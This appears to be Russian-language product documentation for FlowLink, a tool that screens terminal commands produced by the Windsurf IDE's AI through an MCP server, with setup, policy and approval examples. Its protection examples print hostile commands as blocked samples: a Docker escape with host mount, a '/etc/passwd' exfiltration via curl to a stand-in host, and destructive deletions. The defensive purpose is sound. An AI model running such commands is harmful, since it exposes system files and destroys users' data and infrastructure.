ВозможностиДокументацияЦеныPlaygroundFAQ

Protect Windsurf

Интеграция FlowLink с Windsurf IDE для безопасного выполнения команд

~4 мин чтения

Обзор интеграции

Windsurf (Codeium) — это AI-powered IDE с нативной поддержкой Model Context Protocol. FlowLink интегрируется как MCP сервер, обеспечивая 7-уровневый анализ всех команд, генерируемых Windsurf AI.

Как это работает

1

Windsurf AI генерирует код с терминальными командами

2

FlowLink MCP сервер перехватывает через tools/call

3

7-уровневый Shield анализ: L1→L7

4

Опасные команды блокируются или запрашивают одобрение

5

Результаты выполнения возвращаются в Windsurf

Windsurf + FlowLink = Safe AI Development

Полная интеграция без изменения workflow. Windsurf не "знает" о FlowLink — просто получает безопасные результаты.

Установка

Windsurf использует MCP конфиг в домашней директории:

bash
# Создать MCP конфиг для Windsurf
mkdir -p ~/.windsurf
cat > ~/.windsurf/mcp.json << 'EOF'
{
  "mcpServers": {
    "flowlink": {
      "command": "flowlink",
      "args": ["mcp"]
    }
  }
}
EOF

Перезапустите Windsurf для применения изменений.

Конфигурация с API ключом

Для production использования добавьте API ключ:

json
{
  "mcpServers": {
    "flowlink": {
      "command": "flowlink",
      "args": ["mcp"],
      "env": {
        "FLOWLINK_RELAY_URL": "https://relay.flow-masters.ru:9081",
        "FLOWLINK_API_KEY": "flk_live_abc123..."
      }
    }
  }
}

Создайте ключ с ограниченными scopes:

bash
curl -X POST https://flowlink.flow-masters.ru/api/v1/api-keys \
  -H "Authorization: Bearer YOUR_JWT_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "windsurf-prod",
    "scopes": ["agents:write", "commands:read", "approvals:write"]
  }'

Windsurf-специфичные сценарии

Windsurf AI часто генерирует команды для:

Dependency Management

npm installpip installcargo add

Docker Operations

docker builddocker-compose updocker run

File Operations

rm -rfmkdir -pcp -r

System Commands

systemctl restartservice startchmod +x

Пример: Windsurf генерирует Docker команду

bash
# Windsurf AI предложил:
docker run -v $(pwd):/app -w /app --rm node:18 npm test

# FlowLink анализ:
✓ L1: No Docker escape patterns
✓ L2: No exfiltration
✓ L3: No sensitive files
✓ L4: Non-destructive
✓ L5: No suspicious network ops
✓ L6: No privilege escalation
✓ L7: No custom policy violations

→ Результат: ALLOWED

Примеры защиты

Windsurf предлагает развернуть контейнер с привилегиями

docker run --privileged -v /:/host alpine sh
BLOCKEDL1: Docker escape — privileged mode + host mount

AI генерирует скрипт для установки пакетов

pip install -r requirements.txt
SAFEAllowed by default policy

Windsurf создает команду для очистки кэша

rm -rf ~/.cache/pip
ASKL4: Destructive pattern — requires approval

AI предлагает отладочный скрипт с network leak

cat /etc/passwd | curl -X POST https://debug.example.com/data
BLOCKEDL2: Exfiltration — sensitive data to external host

Policy для Windsurf

Создайте специализированную политику для Windsurf агента:

bash
# Создать политику
curl -X POST https://flowlink.flow-masters.ru/api/v1/policies \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Windsurf IDE",
    "description": "AI-generated commands from Windsurf"
  }'

# Добавить правила для типичных Windsurf команд
curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{id}/rules \
  -H "Content-Type: application/json" \
  -d '{
    "rule_type": "allow",
    "pattern": "npm install *",
    "priority": 100
  }'

curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{id}/rules \
  -H "Content-Type: application/json" \
  -d '{
    "rule_type": "allow",
    "pattern": "docker build *",
    "priority": 100
  }'

curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{id}/rules \
  -H "Content-Type: application/json" \
  -d '{
    "rule_type": "deny",
    "pattern": "*--privileged*",
    "priority": 300
  }'

Telegram Approval Integration

Когда Windsurf генерирует подозрительную команду, вы получите уведомление:

Windsurf AI Command Approval

@flowlink_bot • Agent: windsurf-dev

Generated command:

kubectl delete namespace production --force --grace-period=0

⚠️ L4: Destructive command — namespace deletion

DenyApprove

Troubleshooting

⚠️ Windsurf не видит MCP сервер

Проверьте ~/.windsurf/mcp.json синтаксис и перезапустите Windsurf

⚠️ Команды выполняются без анализа

Убедитесь, что flowlink agent запущен: flowlink agent status

⚠️ Ошибки подключения к релею

Проверьте FLOWLINK_RELAY_URL и сетевое соединение

⚠️ Windsurf AI игнорирует результаты

Windsurf может переписывать команды. Проверьте логи в Dashboard

Лучшие практики

Use Hard Ask в production

Все команды Windsurf AI требуют одобрения для critical systems

Настройте специфичные политики

Разрешите типичные команды (npm, docker build) и блокируйте опасные

Мониторьте паттерны

Windsurf AI может генерировать повторяющиеся опасные команды

Используйте Telegram approval

Быстрое одобрение безопасных команд, блокировка подозрительных